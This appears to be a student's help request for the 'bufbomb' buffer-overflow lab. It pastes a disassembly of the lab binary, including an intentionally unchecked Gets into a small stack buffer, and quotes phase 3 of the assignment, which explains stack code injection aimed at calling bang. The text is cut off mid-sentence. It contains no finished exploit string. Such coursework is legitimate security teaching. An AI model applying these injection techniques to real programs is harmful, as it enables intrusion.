 8048e51:      e8 62 fa ff ff             call   80488b8 <exit@plt>
 8048e56:      8d 76 00                   lea    0x0(%esi),%esi
 8048e59:      8d bc 27 00 00 00 00       lea    0x0(%edi),%edi

08048e60 <Gets>:
 8048e60:      55                         push   %ebp
 8048e61:      89 e5                      mov    %esp,%ebp
 8048e63:      57                         push   %edi
 8048e64:      56                         push   %esi
 8048e65:      53                         push   %ebx
 8048e66:      83 ec 0c                   sub    $0xc,%esp
 8048e69:      8b 1d c8 a1 04 08          mov    0x804a1c8,%ebx
 8048e6f:      c7 05 e0 a1 04 08 00       movl   $0x0,0x804a1e0
 8048e76:      00 00 00
 8048e79:      8b 75 08                   mov    0x8(%ebp),%esi
 8048e7c:      85 db                      test   %ebx,%ebx
 8048e7e:      74 72                      je     8048ef2 <Gets+0x92>
 8048e80:      bf 01 00 00 00             mov    $0x1,%edi
 8048e85:      c7 45 f0 00 00 00 00       movl   $0x0,0xfffffff0(%ebp)
 8048e8c:      8d 74 26 00                lea    0x0(%esi),%esi
 8048e90:      a1 c0 a1 04 08             mov    0x804a1c0,%eax
 8048e95:      89 04 24                   mov    %eax,(%esp)
 8048e98:      e8 fb f8 ff ff             call   8048798 <_IO_getc@plt>
 8048e9d:      83 f8 ff                   cmp    $0xffffffff,%eax
 8048ea0:      89 c3                      mov    %eax,%ebx
 8048ea2:      74 60                      je     8048f04 <Gets+0xa4>
 8048ea4:      83 f8 0a                   cmp    $0xa,%eax
 8048ea7:      74 5b                      je     8048f04 <Gets+0xa4>
 8048ea9:      e8 fa f8 ff ff             call   80487a8 <__ctype_b_loc@plt>
 8048eae:      8b 00                      mov    (%eax),%eax
 8048eb0:      f6 44 58 01 10             testb  $0x10,0x1(%eax,%ebx,2)
 8048eb5:      74 d9                      je     8048e90 <Gets+0x30>
 8048eb7:      8d 43 d0                   lea    0xffffffd0(%ebx),%eax
 8048eba:      83 f8 09                   cmp    $0x9,%eax
 8048ebd:      89 c2                      mov    %eax,%edx
 8048ebf:      76 0f                      jbe    8048ed0 <Gets+0x70>
 8048ec1:      8d 43 bf                   lea    0xffffffbf(%ebx),%eax
 8048ec4:      83 f8 05                   cmp    $0x5,%eax
 8048ec7:      8d 53 c9                   lea    0xffffffc9(%ebx),%edx
 8048eca:      76 04                      jbe    8048ed0 <Gets+0x70>
 8048ecc:      8d 53 a9                   lea    0xffffffa9(%ebx),%edx
 8048ecf:      90                         nop    
 8048ed0:      85 ff                      test   %edi,%edi
 8048ed2:      74 4c                      je     8048f20 <Gets+0xc0>
 8048ed4:      31 ff                      xor    %edi,%edi
 8048ed6:      89 55 f0                   mov    %edx,0xfffffff0(%ebp)
 8048ed9:      eb b5                      jmp    8048e90 <Gets+0x30>
 8048edb:      90                         nop    
 8048edc:      8d 74 26 00                lea    0x0(%esi),%esi
 8048ee0:      83 f8 0a                   cmp    $0xa,%eax
 8048ee3:      74 1f                      je     8048f04 <Gets+0xa4>
 8048ee5:      88 06                      mov    %al,(%esi)
 8048ee7:      0f be c0                   movsbl %al,%eax
 8048eea:      83 c6 01                   add    $0x1,%esi
 8048eed:      e8 6e fa ff ff             call   8048960 <save_char>
 8048ef2:      a1 c0 a1 04 08             mov    0x804a1c0,%eax
 8048ef7:      89 04 24                   mov    %eax,(%esp)
 8048efa:      e8 99 f8 ff ff             call   8048798 <_IO_getc@plt>
 8048eff:      83 f8 ff                   cmp    $0xffffffff,%eax
 8048f02:      75 dc                      jne    8048ee0 <Gets+0x80>
 8048f04:      c6 06 00                   movb   $0x0,(%esi)
 8048f07:      a1 e0 a1 04 08             mov    0x804a1e0,%eax
 8048f0c:      c6 84 40 00 a2 04 08       movb   $0x0,0x804a200(%eax,%eax,2)
 8048f13:      00
 8048f14:      8b 45 08                   mov    0x8(%ebp),%eax
 8048f17:      83 c4 0c                   add    $0xc,%esp
 8048f1a:      5b                         pop    %ebx
 8048f1b:      5e                         pop    %esi
 8048f1c:      5f                         pop    %edi
 8048f1d:      5d                         pop    %ebp
 8048f1e:      c3                         ret    
 8048f1f:      90                         nop    
 8048f20:      8b 45 f0                   mov    0xfffffff0(%ebp),%eax
 8048f23:      bf 01 00 00 00             mov    $0x1,%edi
 8048f28:      c1 e0 04                   shl    $0x4,%eax
 8048f2b:      8d 04 02                   lea    (%edx,%eax,1),%eax
 8048f2e:      88 06                      mov    %al,(%esi)
 8048f30:      0f be c0                   movsbl %al,%eax
 8048f33:      83 c6 01                   add    $0x1,%esi
 8048f36:      e8 25 fa ff ff             call   8048960 <save_char>
 8048f3b:      e9 50 ff ff ff             jmp    8048e90 <Gets+0x30>

08048f40 <getbufn>:
 8048f40:      55                         push   %ebp
 8048f41:      89 e5                      mov    %esp,%ebp
 8048f43:      81 ec 08 02 00 00          sub    $0x208,%esp
 8048f49:      8d 85 00 fe ff ff          lea    0xfffffe00(%ebp),%eax
 8048f4f:      89 04 24                   mov    %eax,(%esp)
 8048f52:      e8 09 ff ff ff             call   8048e60 <Gets>
 8048f57:      b8 01 00 00 00             mov    $0x1,%eax
 8048f5c:      c9                         leave  
 8048f5d:      c3                         ret    
 8048f5e:      66 90                      xchg   %ax,%ax

08048f60 <testn>:
 8048f60:      55                         push   %ebp
 8048f61:      89 e5                      mov    %esp,%ebp
 8048f63:      83 ec 18                   sub    $0x18,%esp
 8048f66:      c7 45 fc ef be ad de       movl   $0xdeadbeef,0xfffffffc(%ebp)
 8048f6d:      c7 04 24 04 00 00 00       movl   $0x4,(%esp)
 8048f74:      e8 37 fa ff ff             call   80489b0 <entry_check>
 8048f79:      e8 c2 ff ff ff             call   8048f40 <getbufn>
 8048f7e:      89 c2                      mov    %eax,%edx
 8048f80:      8b 45 fc                   mov    0xfffffffc(%ebp),%eax
 8048f83:      3d ef be ad de             cmp    $0xdeadbeef,%eax
 8048f88:      74 0e                      je     8048f98 <testn+0x38>
 8048f8a:      c7 04 24 f0 97 04 08       movl   $0x80497f0,(%esp)
 8048f91:      e8 e2 f8 ff ff             call   8048878 <puts@plt>
 8048f96:      c9                         leave  
 8048f97:      c3                         ret    
 8048f98:      3b 15 cc a1 04 08          cmp    0x804a1cc,%edx
 8048f9e:      74 12                      je     8048fb2 <testn+0x52>
 8048fa0:      89 54 24 04                mov    %edx,0x4(%esp)
 8048fa4:      c7 04 24 91 99 04 08       movl   $0x8049991,(%esp)
 8048fab:      e8 58 f8 ff ff             call   8048808 <printf@plt>
 8048fb0:      c9                         leave  
 8048fb1:      c3                         ret    
 8048fb2:      89 54 24 04                mov    %edx,0x4(%esp)
 8048fb6:      c7 04 24 1c 98 04 08       movl   $0x804981c,(%esp)
 8048fbd:      e8 46 f8 ff ff             call   8048808 <printf@plt>
 8048fc2:      c7 04 24 04 00 00 00       movl   $0x4,(%esp)
 8048fc9:      e8 22 fb ff ff             call   8048af0 <validate>
 8048fce:      c9                         leave  
 8048fcf:      c3                         ret    

08048fd0 <getbuf>:
 8048fd0:      55                         push   %ebp
 8048fd1:      89 e5                      mov    %esp,%ebp
 8048fd3:      83 ec 18                   sub    $0x18,%esp
 8048fd6:      8d 45 f4                   lea    0xfffffff4(%ebp),%eax
 8048fd9:      89 04 24                   mov    %eax,(%esp)
 8048fdc:      e8 7f fe ff ff             call   8048e60 <Gets>
 8048fe1:      b8 01 00 00 00             mov    $0x1,%eax
 8048fe6:      c9                         leave  
 8048fe7:      c3                         ret    
 8048fe8:      90                         nop    
 8048fe9:      8d b4 26 00 00 00 00       lea    0x0(%esi),%esi

08048ff0 <test>:
 8048ff0:      55                         push   %ebp
 8048ff1:      89 e5                      mov    %esp,%ebp
 8048ff3:      83 ec 18                   sub    $0x18,%esp
 8048ff6:      c7 45 fc ef be ad de       movl   $0xdeadbeef,0xfffffffc(%ebp)
 8048ffd:      c7 04 24 03 00 00 00       movl   $0x3,(%esp)
 8049004:      e8 a7 f9 ff ff             call   80489b0 <entry_check>
 8049009:      e8 c2 ff ff ff             call   8048fd0 <getbuf>
 804900e:      89 c2                      mov    %eax,%edx
 8049010:      8b 45 fc                   mov    0xfffffffc(%ebp),%eax
 8049013:      3d ef be ad de             cmp    $0xdeadbeef,%eax
 8049018:      74 0e                      je     8049028 <test+0x38>
 804901a:      c7 04 24 f0 97 04 08       movl   $0x80497f0,(%esp)
 8049021:      e8 52 f8 ff ff             call   8048878 <puts@plt>
 8049026:      c9                         leave  
 8049027:      c3                         ret    
 8049028:      3b 15 cc a1 04 08          cmp    0x804a1cc,%edx
 804902e:      74 12                      je     8049042 <test+0x52>
 8049030:      89 54 24 04                mov    %edx,0x4(%esp)
 8049034:      c7 04 24 ca 99 04 08       movl   $0x80499ca,(%esp)
 804903b:      e8 c8 f7 ff ff             call   8048808 <printf@plt>
 8049040:      c9                         leave  
 8049041:      c3                         ret    
 8049042:      89 54 24 04                mov    %edx,0x4(%esp)
 8049046:      c7 04 24 ad 99 04 08       movl   $0x80499ad,(%esp)
 804904d:      e8 b6 f7 ff ff             call   8048808 <printf@plt>
 8049052:      c7 04 24 03 00 00 00       movl   $0x3,(%esp)
 8049059:      e8 92 fa ff ff             call   8048af0 <validate>
 804905e:      c9                         leave  
 804905f:      c3                         ret    

08049060 <launch>:
 8049060:      55                         push   %ebp
 8049061:      89 e5                      mov    %esp,%ebp
 8049063:      53                         push   %ebx
 8049064:      89 c3                      mov    %eax,%ebx
 8049066:      8d 45 bc                   lea    0xffffffbc(%ebp),%eax
 8049069:      83 ec 54                   sub    $0x54,%esp
 804906c:      25 f8 3f 00 00             and    $0x3ff8,%eax
 8049071:      01 c2                      add    %eax,%edx
 8049073:      8d 42 1e                   lea    0x1e(%edx),%eax
 8049076:      83 e0 f0                   and    $0xfffffff0,%eax
 8049079:      29 c4                      sub    %eax,%esp
 804907b:      8d 44 24 1b                lea    0x1b(%esp),%eax
 804907f:      83 e0 f0                   and    $0xfffffff0,%eax
 8049082:      89 54 24 08                mov    %edx,0x8(%esp)
 8049086:      c7 44 24 04 f4 00 00       movl   $0xf4,0x4(%esp)
 804908d:      00
 804908e:      89 04 24                   mov    %eax,(%esp)
 8049091:      e8 e2 f6 ff ff             call   8048778 <memset@plt>
 8049096:      a1 c4 a1 04 08             mov    0x804a1c4,%eax
 804909b:      85 c0                      test   %eax,%eax
 804909d:      75 15                      jne    80490b4 <launch+0x54>
 804909f:      a1 c8 a1 04 08             mov    0x804a1c8,%eax
 80490a4:      85 c0                      test   %eax,%eax
 80490a6:      74 40                      je     80490e8 <launch+0x88>
 80490a8:      c7 04 24 e5 99 04 08       movl   $0x80499e5,(%esp)
 80490af:      e8 54 f7 ff ff             call   8048808 <printf@plt>
 80490b4:      85 db                      test   %ebx,%ebx
 80490b6:      74 29                      je     80490e1 <launch+0x81>
 80490b8:      e8 a3 fe ff ff             call   8048f60 <testn>
 80490bd:      a1 d8 a1 04 08             mov    0x804a1d8,%eax
 80490c2:      85 c0                      test   %eax,%eax
 80490c4:      75 16                      jne    80490dc <launch+0x7c>
 80490c6:      c7 04 24 64 98 04 08       movl   $0x8049864,(%esp)
 80490cd:      e8 a6 f7 ff ff             call   8048878 <puts@plt>
 80490d2:      c7 05 d8 a1 04 08 00       movl   $0x0,0x804a1d8
 80490d9:      00 00 00
 80490dc:      8b 5d fc                   mov    0xfffffffc(%ebp),%ebx
 80490df:      c9                         leave  
 80490e0:      c3                         ret    
 80490e1:      e8 0a ff ff ff             call   8048ff0 <test>
 80490e6:      eb d5                      jmp    80490bd <launch+0x5d>
 80490e8:      c7 04 24 f6 99 04 08       movl   $0x80499f6,(%esp)
 80490ef:      e8 14 f7 ff ff             call   8048808 <printf@plt>
 80490f4:      eb be                      jmp    80490b4 <launch+0x54>
 80490f6:      8d 76 00                   lea    0x0(%esi),%esi
 80490f9:      8d bc 27 00 00 00 00       lea    0x0(%edi),%edi

08049100 <main>:
 8049100:      8d 4c 24 04                lea    0x4(%esp),%ecx
 8049104:      83 e4 f0                   and    $0xfffffff0,%esp
 8049107:      ff 71 fc                   pushl  0xfffffffc(%ecx)
 804910a:      55                         push   %ebp
 804910b:      89 e5                      mov    %esp,%ebp
 804910d:      57                         push   %edi
 804910e:      56                         push   %esi
 804910f:      53                         push   %ebx
 8049110:      51                         push   %ecx
 8049111:      83 ec 18                   sub    $0x18,%esp
 8049114:      8b 31                      mov    (%ecx),%esi
 8049116:      8b 59 04                   mov    0x4(%ecx),%ebx
 8049119:      c7 44 24 04 30 8a 04       movl   $0x8048a30,0x4(%esp)
 8049120:      08
 8049121:      c7 04 24 0b 00 00 00       movl   $0xb,(%esp)
 8049128:      e8 0b f6 ff ff             call   8048738 <signal@plt>
 804912d:      c7 44 24 04 60 8a 04       movl   $0x8048a60,0x4(%esp)
 8049134:      08
 8049135:      c7 04 24 07 00 00 00       movl   $0x7,(%esp)
 804913c:      e8 f7 f5 ff ff             call   8048738 <signal@plt>
 8049141:      c7 44 24 04 f0 89 04       movl   $0x80489f0,0x4(%esp)
 8049148:      08
 8049149:      c7 04 24 0e 00 00 00       movl   $0xe,(%esp)
 8049150:      e8 e3 f5 ff ff             call   8048738 <signal@plt>
 8049155:      c7 44 24 04 c0 89 04       movl   $0x80489c0,0x4(%esp)
 804915c:      08
 804915d:      c7 04 24 04 00 00 00       movl   $0x4,(%esp)
 8049164:      e8 cf f5 ff ff             call   8048738 <signal@plt>
 8049169:      a1 a0 a1 04 08             mov    0x804a1a0,%eax
 804916e:      c7 45 e8 00 00 00 00       movl   $0x0,0xffffffe8(%ebp)
 8049175:      c7 45 ec 01 00 00 00       movl   $0x1,0xffffffec(%ebp)
 804917c:      a3 c0 a1 04 08             mov    %eax,0x804a1c0
 8049181:      c7 44 24 08 32 9a 04       movl   $0x8049a32,0x8(%esp)
 8049188:      08
 8049189:      89 5c 24 04                mov    %ebx,0x4(%esp)
 804918d:      89 34 24                   mov    %esi,(%esp)
 8049190:      e8 33 f6 ff ff             call   80487c8 <getopt@plt>
 8049195:      3c ff                      cmp    $0xff,%al
 8049197:      0f 84 09 01 00 00          je     80492a6 <main+0x1a6>
 804919d:      83 e8 66                   sub    $0x66,%eax
 80491a0:      3c 12                      cmp    $0x12,%al
 80491a2:      76 0c                      jbe    80491b0 <main+0xb0>
 80491a4:      8b 03                      mov    (%ebx),%eax
 80491a6:      e8 e5 f8 ff ff             call   8048a90 <usage>
 80491ab:      eb d4                      jmp    8049181 <main+0x81>
 80491ad:      8d 76 00                   lea    0x0(%esi),%esi
 80491b0:      0f b6 c0                   movzbl %al,%eax
 80491b3:      ff 24 85 3c 9a 04 08       jmp    *0x8049a3c(,%eax,4)
 80491ba:      c7 05 c8 a1 04 08 01       movl   $0x1,0x804a1c8
 80491c1:      00 00 00
 80491c4:      eb bb                      jmp    8049181 <main+0x81>
 80491c6:      a1 a4 a1 04 08             mov    0x804a1a4,%eax
 80491cb:      89 04 24                   mov    %eax,(%esp)
 80491ce:      e8 d5 f6 ff ff             call   80488a8 <__strdup@plt>
 80491d3:      a3 d0 a1 04 08             mov    %eax,0x804a1d0
 80491d8:      89 44 24 04                mov    %eax,0x4(%esp)
 80491dc:      c7 04 24 03 9a 04 08       movl   $0x8049a03,(%esp)
 80491e3:      e8 20 f6 ff ff             call   8048808 <printf@plt>
 80491e8:      a1 d0 a1 04 08             mov    0x804a1d0,%eax
 80491ed:      89 04 24                   mov    %eax,(%esp)
 80491f0:      e8 fb 01 00 00             call   80493f0 <gencookie>
 80491f5:      a3 cc a1 04 08             mov    %eax,0x804a1cc
 80491fa:      89 44 24 04                mov    %eax,0x4(%esp)
 80491fe:      c7 04 24 0d 9a 04 08       movl   $0x8049a0d,(%esp)
 8049205:      e8 fe f5 ff ff             call   8048808 <printf@plt>
 804920a:      e9 72 ff ff ff             jmp    8049181 <main+0x81>
 804920f:      c7 05 70 a1 04 08 01       movl   $0x1,0x804a170
 8049216:      00 00 00
 8049219:      e9 63 ff ff ff             jmp    8049181 <main+0x81>
 804921e:      c7 05 c4 a1 04 08 01       movl   $0x1,0x804a1c4
 8049225:      00 00 00
 8049228:      e9 54 ff ff ff             jmp    8049181 <main+0x81>
 804922d:      c7 45 e8 01 00 00 00       movl   $0x1,0xffffffe8(%ebp)
 8049234:      c7 45 ec 05 00 00 00       movl   $0x5,0xffffffec(%ebp)
 804923b:      e9 41 ff ff ff             jmp    8049181 <main+0x81>
 8049240:      c7 05 d4 a1 04 08 01       movl   $0x1,0x804a1d4
 8049247:      00 00 00
 804924a:      c7 05 c4 a1 04 08 01       movl   $0x1,0x804a1c4
 8049251:      00 00 00
 8049254:      c7 05 78 a1 04 08 01       movl   $0x1,0x804a178
 804925b:      00 00 00
 804925e:      e9 1e ff ff ff             jmp    8049181 <main+0x81>
 8049263:      c7 44 24 04 1b 9a 04       movl   $0x8049a1b,0x4(%esp)
 804926a:      08
 804926b:      a1 a4 a1 04 08             mov    0x804a1a4,%eax
 8049270:      89 04 24                   mov    %eax,(%esp)
 8049273:      e8 60 f5 ff ff             call   80487d8 <fopen@plt>
 8049278:      85 c0                      test   %eax,%eax
 804927a:      a3 c0 a1 04 08             mov    %eax,0x804a1c0
 804927f:      0f 85 fc fe ff ff          jne    8049181 <main+0x81>
 8049285:      a1 a4 a1 04 08             mov    0x804a1a4,%eax
 804928a:      c7 04 24 1d 9a 04 08       movl   $0x8049a1d,(%esp)
 8049291:      89 44 24 04                mov    %eax,0x4(%esp)
 8049295:      e8 6e f5 ff ff             call   8048808 <printf@plt>
 804929a:      8b 03                      mov    (%ebx),%eax
 804929c:      e8 ef f7 ff ff             call   8048a90 <usage>
 80492a1:      e9 db fe ff ff             jmp    8049181 <main+0x81>
 80492a6:      a1 d0 a1 04 08             mov    0x804a1d0,%eax
 80492ab:      85 c0                      test   %eax,%eax
 80492ad:      0f 84 b9 00 00 00          je     804936c <main+0x26c>
 80492b3:      a1 cc a1 04 08             mov    0x804a1cc,%eax
 80492b8:      89 04 24                   mov    %eax,(%esp)
 80492bb:      e8 58 f5 ff ff             call   8048818 <srandom@plt>
 80492c0:      e8 63 f4 ff ff             call   8048728 <random@plt>
 80492c5:      25 f8 0f 00 00             and    $0xff8,%eax
 80492ca:      89 45 e4                   mov    %eax,0xffffffe4(%ebp)
 80492cd:      c7 44 24 04 04 00 00       movl   $0x4,0x4(%esp)
 80492d4:      00
 80492d5:      8b 45 ec                   mov    0xffffffec(%ebp),%eax
 80492d8:      89 04 24                   mov    %eax,(%esp)
 80492db:      e8 78 f4 ff ff             call   8048758 <calloc@plt>
 80492e0:      89 c6                      mov    %eax,%esi
 80492e2:      8b 45 ec                   mov    0xffffffec(%ebp),%eax
 80492e5:      83 e8 02                   sub    $0x2,%eax
 80492e8:      85 c0                      test   %eax,%eax
 80492ea:      7e 1e                      jle    804930a <main+0x20a>
 80492ec:      8b 45 ec                   mov    0xffffffec(%ebp),%eax
 80492ef:      bb 01 00 00 00             mov    $0x1,%ebx
 80492f4:      8d 78 ff                   lea    0xffffffff(%eax),%edi
 80492f7:      e8 2c f4 ff ff             call   8048728 <random@plt>
 80492fc:      83 e0 38                   and    $0x38,%eax
 80492ff:      89 44 9e fc                mov    %eax,0xfffffffc(%esi,%ebx,4)
 8049303:      83 c3 01                   add    $0x1,%ebx
 8049306:      39 fb                      cmp    %edi,%ebx
 8049308:      75 ed                      jne    80492f7 <main+0x1f7>
 804930a:      83 7d ec 01                cmpl   $0x1,0xffffffec(%ebp)
 804930e:      7e 54                      jle    8049364 <main+0x264>
 8049310:      8b 45 ec                   mov    0xffffffec(%ebp),%eax
 8049313:      c1 e0 02                   shl    $0x2,%eax
 8049316:      c7 44 30 f8 38 00 00       movl   $0x38,0xfffffff8(%eax,%esi,1)
 804931d:      00
 804931e:      c7 44 30 fc 00 00 00       movl   $0x0,0xfffffffc(%eax,%esi,1)
 8049325:      00
 8049326:      a1 78 a1 04 08             mov    0x804a178,%eax
 804932b:      89 04 24                   mov    %eax,(%esp)
 804932e:      e8 b5 f4 ff ff             call   80487e8 <alarm@plt>
 8049333:      8b 45 ec                   mov    0xffffffec(%ebp),%eax
 8049336:      85 c0                      test   %eax,%eax
 8049338:      7e 1c                      jle    8049356 <main+0x256>
 804933a:      31 db                      xor    %ebx,%ebx
 804933c:      8d 74 26 00                lea    0x0(%esi),%esi
 8049340:      8b 55 e4                   mov    0xffffffe4(%ebp),%edx
 8049343:      8b 45 e8                   mov    0xffffffe8(%ebp),%eax
 8049346:      03 14 9e                   add    (%esi,%ebx,4),%edx
 8049349:      83 c3 01                   add    $0x1,%ebx
 804934c:      e8 0f fd ff ff             call   8049060 <launch>
 8049351:      3b 5d ec                   cmp    0xffffffec(%ebp),%ebx
 8049354:      75 ea                      jne    8049340 <main+0x240>
 8049356:      83 c4 18                   add    $0x18,%esp
 8049359:      31 c0                      xor    %eax,%eax
 804935b:      59                         pop    %ecx
 804935c:      5b                         pop    %ebx
 804935d:      5e                         pop    %esi
 804935e:      5f                         pop    %edi
 804935f:      5d                         pop    %ebp
 8049360:      8d 61 fc                   lea    0xfffffffc(%ecx),%esp
 8049363:      c3                         ret    
 8049364:      8b 45 ec                   mov    0xffffffec(%ebp),%eax
 8049367:      c1 e0 02                   shl    $0x2,%eax
 804936a:      eb b2                      jmp    804931e <main+0x21e>
 804936c:      c7 04 24 3c 98 04 08       movl   $0x804983c,(%esp)
 8049373:      e8 00 f5 ff ff             call   8048878 <puts@plt>
 8049378:      8b 03                      mov    (%ebx),%eax
 804937a:      e8 11 f7 ff ff             call   8048a90 <usage>
 804937f:      e9 2f ff ff ff             jmp    80492b3 <main+0x1b3>
 8049384:      90                         nop    
 8049385:      90                         nop    
 8049386:      90                         nop    
 8049387:      90                         nop    
 8049388:      90                         nop    
 8049389:      90                         nop    
 804938a:      90                         nop    
 804938b:      90                         nop    
 804938c:      90                         nop    
 804938d:      90                         nop    
 804938e:      90                         nop    
 804938f:      90                         nop    

08049390 <hash>:
 8049390:      55                         push   %ebp
 8049391:      31 c0                      xor    %eax,%eax
 8049393:      89 e5                      mov    %esp,%ebp
 8049395:      8b 4d 08                   mov    0x8(%ebp),%ecx
 8049398:      0f b6 11                   movzbl (%ecx),%edx
 804939b:      84 d2                      test   %dl,%dl
 804939d:      74 15                      je     80493b4 <hash+0x24>
 804939f:      90                         nop    
 80493a0:      6b c0 67                   imul   $0x67,%eax,%eax
 80493a3:      0f be d2                   movsbl %dl,%edx
 80493a6:      8d 04 02                   lea    (%edx,%eax,1),%eax
 80493a9:      0f b6 51 01                movzbl 0x1(%ecx),%edx
 80493ad:      83 c1 01                   add    $0x1,%ecx
 80493b0:      84 d2                      test   %dl,%dl
 80493b2:      75 ec                      jne    80493a0 <hash+0x10>
 80493b4:      5d                         pop    %ebp
 80493b5:      c3                         ret    
 80493b6:      8d 76 00                   lea    0x0(%esi),%esi
 80493b9:      8d bc 27 00 00 00 00       lea    0x0(%edi),%edi

080493c0 <check>:
 80493c0:      55                         push   %ebp
 80493c1:      89 e5                      mov    %esp,%ebp
 80493c3:      8b 55 08                   mov    0x8(%ebp),%edx
 80493c6:      89 d0                      mov    %edx,%eax
 80493c8:      c1 e8 1c                   shr    $0x1c,%eax
 80493cb:      85 c0                      test   %eax,%eax
 80493cd:      74 19                      je     80493e8 <check+0x28>
 80493cf:      31 c9                      xor    %ecx,%ecx
 80493d1:      89 d0                      mov    %edx,%eax
 80493d3:      d3 e8                      shr    %cl,%eax
 80493d5:      3c 0a                      cmp    $0xa,%al
 80493d7:      74 0f                      je     80493e8 <check+0x28>
 80493d9:      83 c1 08                   add    $0x8,%ecx
 80493dc:      83 f9 20                   cmp    $0x20,%ecx
 80493df:      75 f0                      jne    80493d1 <check+0x11>
 80493e1:      5d                         pop    %ebp
 80493e2:      b8 01 00 00 00             mov    $0x1,%eax
 80493e7:      c3                         ret    
 80493e8:      5d                         pop    %ebp
 80493e9:      31 c0                      xor    %eax,%eax
 80493eb:      c3                         ret    
 80493ec:      8d 74 26 00                lea    0x0(%esi),%esi

080493f0 <gencookie>:
 80493f0:      55                         push   %ebp
 80493f1:      89 e5                      mov    %esp,%ebp
 80493f3:      53                         push   %ebx
 80493f4:      83 ec 04                   sub    $0x4,%esp
 80493f7:      8b 45 08                   mov    0x8(%ebp),%eax
 80493fa:      89 04 24                   mov    %eax,(%esp)
 80493fd:      e8 8e ff ff ff             call   8049390 <hash>
 8049402:      89 04 24                   mov    %eax,(%esp)
 8049405:      e8 0e f3 ff ff             call   8048718 <srand@plt>
 804940a:      8d b6 00 00 00 00          lea    0x0(%esi),%esi
 8049410:      e8 73 f4 ff ff             call   8048888 <rand@plt>
 8049415:      89 c3                      mov    %eax,%ebx
 8049417:      89 04 24                   mov    %eax,(%esp)
 804941a:      e8 a1 ff ff ff             call   80493c0 <check>
 804941f:      85 c0                      test   %eax,%eax
 8049421:      74 ed                      je     8049410 <gencookie+0x20>
 8049423:      89 d8                      mov    %ebx,%eax
 8049425:      83 c4 04                   add    $0x4,%esp
 8049428:      5b                         pop    %ebx
 8049429:      5d                         pop    %ebp
 804942a:      c3                         ret    
 804942b:      90                         nop    
 804942c:      90                         nop    
 804942d:      90                         nop    
 804942e:      90                         nop    
 804942f:      90                         nop    

08049430 <__libc_csu_fini>:
 8049430:      55                         push   %ebp
 8049431:      89 e5                      mov    %esp,%ebp
 8049433:      5d                         pop    %ebp
 8049434:      c3                         ret    
 8049435:      8d 74 26 00                lea    0x0(%esi),%esi
 8049439:      8d bc 27 00 00 00 00       lea    0x0(%edi),%edi

08049440 <__libc_csu_init>:
 8049440:      55                         push   %ebp
 8049441:      89 e5                      mov    %esp,%ebp
 8049443:      57                         push   %edi
 8049444:      56                         push   %esi
 8049445:      53                         push   %ebx
 8049446:      e8 4f 00 00 00             call   804949a <__i686.get_pc_thunk.bx>
 804944b:      81 c3 9d 0c 00 00          add    $0xc9d,%ebx
 8049451:      83 ec 0c                   sub    $0xc,%esp
 8049454:      e8 6f f2 ff ff             call   80486c8 <_init>
 8049459:      8d bb 18 ff ff ff          lea    0xffffff18(%ebx),%edi
 804945f:      8d 83 18 ff ff ff          lea    0xffffff18(%ebx),%eax
 8049465:      29 c7                      sub    %eax,%edi
 8049467:      c1 ff 02                   sar    $0x2,%edi
 804946a:      85 ff                      test   %edi,%edi
 804946c:      74 24                      je     8049492 <__libc_csu_init+0x52>
 804946e:      31 f6                      xor    %esi,%esi
 8049470:      8b 45 10                   mov    0x10(%ebp),%eax
 8049473:      89 44 24 08                mov    %eax,0x8(%esp)
 8049477:      8b 45 0c                   mov    0xc(%ebp),%eax
 804947a:      89 44 24 04                mov    %eax,0x4(%esp)
 804947e:      8b 45 08                   mov    0x8(%ebp),%eax
 8049481:      89 04 24                   mov    %eax,(%esp)
 8049484:      ff 94 b3 18 ff ff ff       call   *0xffffff18(%ebx,%esi,4)
 804948b:      83 c6 01                   add    $0x1,%esi
 804948e:      39 f7                      cmp    %esi,%edi
 8049490:      75 de                      jne    8049470 <__libc_csu_init+0x30>
 8049492:      83 c4 0c                   add    $0xc,%esp
 8049495:      5b                         pop    %ebx
 8049496:      5e                         pop    %esi
 8049497:      5f                         pop    %edi
 8049498:      5d                         pop    %ebp
 8049499:      c3                         ret    

0804949a <__i686.get_pc_thunk.bx>:
 804949a:      8b 1c 24                   mov    (%esp),%ebx
 804949d:      c3                         ret    
 804949e:      90                         nop    
 804949f:      90                         nop    

080494a0 <__do_global_ctors_aux>:
 80494a0:      55                         push   %ebp
 80494a1:      89 e5                      mov    %esp,%ebp
 80494a3:      53                         push   %ebx
 80494a4:      83 ec 04                   sub    $0x4,%esp
 80494a7:      a1 00 a0 04 08             mov    0x804a000,%eax
 80494ac:      83 f8 ff                   cmp    $0xffffffff,%eax
 80494af:      74 12                      je     80494c3 <__do_global_ctors_aux+0x23>
 80494b1:      31 db                      xor    %ebx,%ebx
 80494b3:      ff d0                      call   *%eax
 80494b5:      8b 83 fc 9f 04 08          mov    0x8049ffc(%ebx),%eax
 80494bb:      83 eb 04                   sub    $0x4,%ebx
 80494be:      83 f8 ff                   cmp    $0xffffffff,%eax
 80494c1:      75 f0                      jne    80494b3 <__do_global_ctors_aux+0x13>
 80494c3:      83 c4 04                   add    $0x4,%esp
 80494c6:      5b                         pop    %ebx
 80494c7:      5d                         pop    %ebp
 80494c8:      c3                         ret    
 80494c9:      90                         nop    
 80494ca:      90                         nop    
 80494cb:      90                         nop    
Disassembly of section .fini:

080494cc <_fini>:
 80494cc:      55                         push   %ebp
 80494cd:      89 e5                      mov    %esp,%ebp
 80494cf:      53                         push   %ebx
 80494d0:      83 ec 04                   sub    $0x4,%esp
 80494d3:      e8 00 00 00 00             call   80494d8 <_fini+0xc>
 80494d8:      5b                         pop    %ebx
 80494d9:      81 c3 10 0c 00 00          add    $0xc10,%ebx
 80494df:      e8 1c f4 ff ff             call   8048900 <__do_global_dtors_aux>
 80494e4:      59                         pop    %ecx
 80494e5:      5b                         pop    %ebx
 80494e6:      c9                         leave  
 80494e7:      c3                         ret    

I am stuck on phase 3 which says this:

A much more sophisticated form of buffer attack involves supplying a string that encodes actual machine
instructions. The exploit string then overwrites the return pointer with the starting address of these instructions.
When the calling function (in this case getbuf) executes its ret instruction, the program will start
executing the instructions on the stack rather than returning. With this form of attack, you can get the programto do almost anything. The code you place on the stack is called the exploit code. This style of attackis tricky, though, because you must get machine code onto the stack and set the return pointer to the start ofthis code.
Within the file bufbomb there is a function bang having the following C code:
int global_value = 0;
void bang(int val)
{
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
Similar to Levels 0 and 1, your task is to get BUFBOMB to execute the code for bang rather than returning
to test. Before this, however, you must set global variable global_value to your teams cookie. Your
